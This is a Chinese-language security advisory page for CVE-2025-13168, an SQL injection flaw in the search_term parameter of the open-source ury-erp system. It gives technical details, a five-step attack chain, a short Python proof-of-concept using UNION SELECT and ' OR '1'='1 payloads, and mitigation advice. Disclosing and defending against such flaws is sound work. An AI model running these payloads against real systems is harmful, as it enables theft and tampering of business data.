IPBUF安全漏洞报告
English
CVE-2025-13168 CVSS 6.3 中危

ury-erp SQL注入漏洞 (CVE-2025-13168)

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2025-13168
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ury-erp ury

相关标签

SQL注入ury-erpCVE-2025-13168Web安全数据库安全远程代码执行企业ERP系统

漏洞概述

ury-erp是一套开源的企业资源规划(ERP)系统。该系统在0.2.0及之前版本中存在严重的SQL注入漏洞,漏洞位于ury/ury/api/pos_extend.py文件中的overrided_past_order_list函数。攻击者可通过构造恶意的search_term参数值,实现对数据库的未授权访问和操作。由于该漏洞可通过网络远程利用,且已公开漏洞利用代码,对使用该系统的企业构成了严重的安全威胁。攻击者成功利用此漏洞可窃取敏感业务数据、修改数据库内容,甚至可能通过数据库进一步渗透到系统其他组件。该漏洞的CVSS评分为6.3,属于中等严重程度,但考虑到漏洞利用的便捷性和公开程度,建议尽快采取修复措施。

技术细节

漏洞根源在于overrided_past_order_list函数直接使用用户输入的search_term参数进行SQL查询构造,未对输入进行充分的过滤和参数化处理。攻击者可通过在search_term参数中注入SQL语句片段,如使用单引号、UNION SELECT等SQL语法,实现联合查询、数据提取或数据库操作。具体来说,当用户提交包含特殊SQL字符的搜索关键词时,这些字符会被直接拼接到SQL查询语句中,导致查询逻辑被篡改。例如,攻击者可通过构造' OR '1'='1之类的Payload绕过认证或获取额外数据。该漏洞存在于POS扩展模块的订单查询功能中,攻击者无需特殊权限即可触发。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标系统使用的ury-erp版本,确认版本是否在0.2.0及以下
STEP 2
步骤2
定位漏洞点:访问/ury/api/pos_extend.py端点,找到overrided_past_order_list函数
STEP 3
步骤3
构造Payload:在search_term参数中注入SQL语句,如使用UNION SELECT或布尔盲注技术
STEP 4
步骤4
数据提取:执行恶意SQL查询,提取数据库中的敏感信息如用户数据、订单信息、业务数据
STEP 5
步骤5
持久化控制:利用SQL注入漏洞可能进一步实现命令执行或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13168 SQL Injection PoC # Target: ury-erp <= 0.2.0 # Endpoint: /ury/api/pos_extend.py (overrided_past_order_list function) def exploit(target_url, search_term): """ Exploit SQL injection in overrided_past_order_list function search_term parameter is vulnerable to SQL injection """ endpoint = f"{target_url}/ury/api/pos_extend.py" # Vulnerable parameter: search_term # Payload to extract database version payload = search_term params = { 'search_term': payload, 'action': 'overrided_past_order_list' } try: response = requests.get(endpoint, params=params, timeout=10) print(f"[*] Request sent to: {response.url}") print(f"[*] Status code: {response.status_code}") print(f"[*] Response preview: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def extract_data(target_url): """ Extract database information using UNION-based injection """ # Example: Extract MySQL version payload = "' UNION SELECT NULL,@@version,NULL-- " print(f"[*] Extracting database version...") exploit(target_url, payload) if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-13168.py <target_url>") print("Example: python cve-2025-13168.py http://vulnerable-server.com") sys.exit(1) target = sys.argv[1] # Basic test payload test_payload = "' OR '1'='1" print(f"[*] Testing SQL injection on {target}") exploit(target, test_payload)

影响范围

ury-erp ury <= 0.2.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)对search_term参数实施严格的输入过滤,拦截SQL特殊字符如单引号、双引号、分号等;2)在应用层实现SQL查询参数的预编译处理;3)对API端点实施访问控制,限制未授权访问;4)启用数据库查询日志监控,及时发现异常查询行为;5)考虑暂时禁用受影响的POS扩展模块功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表